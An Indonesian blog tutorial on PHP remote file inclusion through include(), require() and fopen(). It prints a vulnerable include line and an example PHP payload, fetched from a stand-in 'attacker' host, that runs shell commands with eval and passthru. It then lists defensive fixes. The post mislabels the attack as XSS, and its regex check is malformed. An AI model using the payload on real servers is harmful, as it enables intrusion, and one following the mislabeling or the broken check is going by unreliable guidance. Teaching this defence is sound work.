Jumat, 22 Juni 2012

Keamanan Aplikasi Web dengan PHP Part. 2



Keamanan Aplikasi Web dengan PHP
PHP
Salam,,  Melanjutkan Artikel mengenai Keamanan aplikasi Web dengan PHP kemarin, dimana pada pembahasan kemarin kita membahas tentang variabel auto global. maka kali ini saya lanjutkan membahas masalah keamanan aplikasi web dengan php dengan penggunaan Fungsi include(), require() atau fopen().

  • Fungsi include(), require() atau fopen()


Akibat mekanisme autoglobal, suatu varibel dalam php menjadi tidak jelas jenisnya. Jenis variabel jadi tidak dapat dibedakan antara variabel dari GET/POST, varibel dari ENVIRONTMENT atau varibel dari COOKIES/SESSION. Akibatnya suatu variabel apa saja yang didefinisikan dapat dengan mudah diisi dengan nilai dari varibel GET atau POST.

Kelemahan biasanya muncul ketika digunakan varibel untuk parameter fungsi include(), require() atau fopen(). Dengan fungsi tersebut dapat dilakukan eksekusi/parsing file PHP dari file lain, baik pada file dari disk local atau file dari situs lain. Jika varibel untuk parameter fungsi tersebut diketahui,maka attacker dapat mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode GET atau POST.

Contoh dibawah ini adalah vulnerability akibat menggunakan variabel pada fungsi include(). Perhatikan kode dibawah ini :
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php");

Kode tersebut tidak aman karena walaupun menggunakan varibel array, variable $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau diganti dengan sebuah url lain misalnya http://attacker/phpgwapi/phpgw_ info.inc.php, dimana file phpgw_info.inc.php dapat berisi kode php yang dapat dieksekusi oleh server korban/victim, misalnya berupa kode :

<?php $phpcode = 'echo("Hi there!<BR>");passthru("id");';
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>

Kejadian seperti diatas, dimana suatu kode php dari situs lain diambil agar dieksekusi di server korban sering disebut Cross Site Scripting (XSS). Ada beberapa langkah untuk menghindari penggunaan variabel global saat mengakses file, yaitu :
▪ Hindari penggunaan variabel sebagai nama file. Variabel $lib_dir di atas bisa diganti dengan sebuah nilai yang didefinisikan oleh PHP yaitu fungsi define.

▪ Cek apakah nama file yang dibuat adalah salah satu dari nama file yang diinginkan, misalnya:

$valid_pages = array (
“apage.php” => “”,
“another.php” => “”,
“more.php” => “”);
if (!isset($valid_pages[$page])) {
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}

▪ jika ternyata harus menggunakan sebuah variabel dari browser, cek dahulu apakah nilai variabel menggunakan kode seperti di bawah ini:

if (!(eregi(“^[a-z_./]*$”, $page) && !eregi(\\.\\.,$page))) {
// batalkan script
// sebaiknya buat pesan log di sini juga
die(“Invalid request”);
}

▪ Jangan percaya variabel global untuk langkah berikutnya yang dapat menjamin variabel tidak akan digunakan untuk hal-hal yang merusak.

▪ Gunakan konfigurasi varibel allow_url_fopen dan open_basedir untuk membatasi lokasi di mana file bisa dibuka. 

Sekian dulu Artikel hari ini. sampai ketemu pada artikel berikutnya yang masih membahas masalah keamanan aplikasi web dengan php.

Terima Kasih Semoga Bermanfaat..

Jangan Lupa Komentarnya..... :D :)

Followers

Free Page Rank Tool free search engine submission

FreeFind Site Search Engine - FreeFind adds a "search this site" feature to your website, making your site easier to use. FreeFind also gives you reports showing what your visitors are searching for, enabling you to improve your site. FreeFind's advanced site search engine and automatic site map technology can be added to your website for free.

http://www.freesearchenginesubmission.infometeo15jours.com

 

Copyright 2008 All Rights Reserved Revolution Two Church theme by Brian Gardner Converted into Blogger Template by Bloganol dot com